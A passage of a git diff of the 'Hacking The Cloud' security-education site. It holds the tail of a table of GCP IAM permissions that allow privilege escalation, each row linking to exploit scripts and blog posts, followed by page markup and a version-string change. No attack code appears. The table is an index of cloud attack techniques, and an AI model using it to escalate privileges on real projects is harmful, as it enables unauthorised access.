href=https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py>Script</a> / <a href=https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/ >Blog Post</a></td> </tr> <tr> <td><code>cloudfunctions.functions.update</code></td> <td><a href=https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py>Script</a> / <a href=https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/ >Blog Post</a></td> </tr> <tr> <td><code>cloudscheduler.jobs.create</code></td> <td><a href=https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/ >Blog Post</a></td> </tr> <tr> <td><code>composer.environments.get</code></td> <td>Blog Post <a href=https://security.love/blog/gcp/2020/11/22/lateral-movement-and-privesc-in-GCP.html>1</a>, <a href=https://www.xmcyber.com/blog/new-privilege-escalation-techniques-are-compromising-your-google-cloud-platform/ >2</a></td> </tr> <tr> <td><code>compute.instances.create</code></td> <td><a href=https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/compute.instances.create.py>Script</a> / <a href=https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/ >Blog Post</a></td> </tr> <tr> <td><code>dataflow.jobs.create</code></td> <td>Blog Post <a href=https://security.love/blog/gcp/2020/11/22/lateral-movement-and-privesc-in-GCP.html>1</a>, <a href=https://www.xmcyber.com/blog/new-privilege-escalation-techniques-are-compromising-your-google-cloud-platform/ >2</a></td> </tr> <tr> <td><code>dataflow.jobs.update</code></td> <td>Blog Post <a href=https://security.love/blog/gcp/2020/11/22/lateral-movement-and-privesc-in-GCP.html>1</a>, <a href=https://www.xmcyber.com/blog/new-privilege-escalation-techniques-are-compromising-your-google-cloud-platform/ >2</a></td> </tr> <tr> <td><code>dataproc.clusters.create</code></td> <td>Blog Post <a href=https://security.love/blog/gcp/2020/11/22/lateral-movement-and-privesc-in-GCP.html>1</a>, <a href=https://www.xmcyber.com/blog/new-privilege-escalation-techniques-are-compromising-your-google-cloud-platform/ >2</a></td> </tr> <tr> <td><code>dataproc.clusters.create</code></td> <td>Blog Post <a href=https://security.love/blog/gcp/2020/11/22/lateral-movement-and-privesc-in-GCP.html>1</a>, <a href=https://www.xmcyber.com/blog/new-privilege-escalation-techniques-are-compromising-your-google-cloud-platform/ >2</a></td> </tr> <tr> <td><code>dataproc.jobs.create</code></td> <td>Blog Post <a href=https://security.love/blog/gcp/2020/11/22/lateral-movement-and-privesc-in-GCP.html>1</a>, <a href=https://www.xmcyber.com/blog/new-privilege-escalation-techniques-are-compromising-your-google-cloud-platform/ >2</a></td> </tr> <tr> <td><code>dataproc.jobs.update</code></td> <td>Blog Post <a href=https://security.love/blog/gcp/2020/11/22/lateral-movement-and-privesc-in-GCP.html>1</a>, <a href=https://www.xmcyber.com/blog/new-privilege-escalation-techniques-are-compromising-your-google-cloud-platform/ >2</a></td> </tr> <tr> <td><code>deploymentmanager.deployments.create</code></td> <td><a href=https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/deploymentmanager.deployments.create.py>Script</a> / <a href=https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/ >Blog Post</a></td> </tr> <tr> <td><code>iam.roles.update</code></td> <td><a href=https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py>Script</a> / <a href=https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/ >Blog Post</a></td> </tr> <tr> <td><code>iam.serviceAccountKeys.create</code></td> <td><a href=https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py>Script</a> / <a href=https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/ >Blog Post</a></td> </tr> <tr> <td><code>iam.serviceAccounts.getAccessToken</code></td> <td><a href=https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py>Script</a> / <a href=https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/ >Blog Post</a></td> </tr> <tr> <td><code>iam.serviceAccounts.implicitDelegation</code></td> <td><a href=https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py>Script</a> / <a href=https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/ >Blog Post</a></td> </tr> <tr> <td><code>iam.serviceAccounts.signBlob</code></td> <td><a href=https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py>Script</a> / <a href=https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/ >Blog Post</a></td> </tr> <tr> <td><code>iam.serviceAccounts.signJwt</code></td> <td><a href=https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py>Script</a> / <a href=https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/ >Blog Post</a></td> </tr> <tr> <td><code>orgpolicy.policy.set</code></td> <td><a href=https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/orgpolicy.policy.set.py>Script</a> / <a href=https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-2/ >Blog Post</a></td> </tr> <tr> <td><code>run.services.create</code></td> <td><a href=https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py>Script</a> / <a href=https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/ >Blog Post</a></td> </tr> <tr> <td><code>serviceusage.apiKeys.create</code></td> <td><a href=https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/serviceusage.apiKeys.create.py>Script</a> / <a href=https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-2/ >Blog Post</a></td> </tr> <tr> <td><code>serviceusage.apiKeys.list</code></td> <td><a href=https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/serviceusage.apiKeys.list.py>Script</a> / <a href=https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-2/ >Blog Post</a></td> </tr> <tr> <td><code>storage.hmacKeys.create</code></td> <td><a href=https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py>Script</a> / <a href=https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-2/ >Blog Post</a></td> </tr> </tbody> </table> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">January 13, 2023</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">August 24, 2022</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> <a href=https://github.com/Techbrunch class=md-author title=@Techbrunch> <img src="https://avatars.githubusercontent.com/u/1835765?v=4&size=72" alt=Techbrunch> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
 document$.subscribe(() => { lightbox.reload() });
 </script></body> </html>
\ No newline at end of file
diff --git a/gcp/general-knowledge/default-account-names/index.html b/gcp/general-knowledge/default-account-names/index.html
index bbfddce4a..5a010a49a 100644
--- a/gcp/general-knowledge/default-account-names/index.html
+++ b/gcp/general-knowledge/default-account-names/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Default information on how accounts and service accounts exist in GCP"><link href=https://hackingthe.cloud/gcp/general-knowledge/default-account-names/ rel=canonical><link href=../../../azure/soft-deleted-blobs/ rel=prev><link href=../gcp-buckets/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Default Account Information - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Default Account Information - Hacking The Cloud"><meta property=og:description content="Default information on how accounts and service accounts exist in GCP"><meta property=og:image content=https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/default-account-names.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/gcp/general-knowledge/default-account-names/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Default Account Information - Hacking The Cloud"><meta property=twitter:description content="Default information on how accounts and service accounts exist in GCP"><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/default-account-names.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Default information on how accounts and service accounts exist in GCP"><link href=https://hackingthe.cloud/gcp/general-knowledge/default-account-names/ rel=canonical><link href=../../../azure/soft-deleted-blobs/ rel=prev><link href=../gcp-buckets/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Default Account Information - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Default Account Information - Hacking The Cloud"><meta property=og:description content="Default information on how accounts and service accounts exist in GCP"><meta property=og:image content=https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/default-account-names.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/gcp/general-knowledge/default-account-names/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Default Account Information - Hacking The Cloud"><meta property=twitter:description content="Default information on how accounts and service accounts exist in GCP"><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/default-account-names.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,6 +7,6 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#service-accounts class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Default Account Information </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg 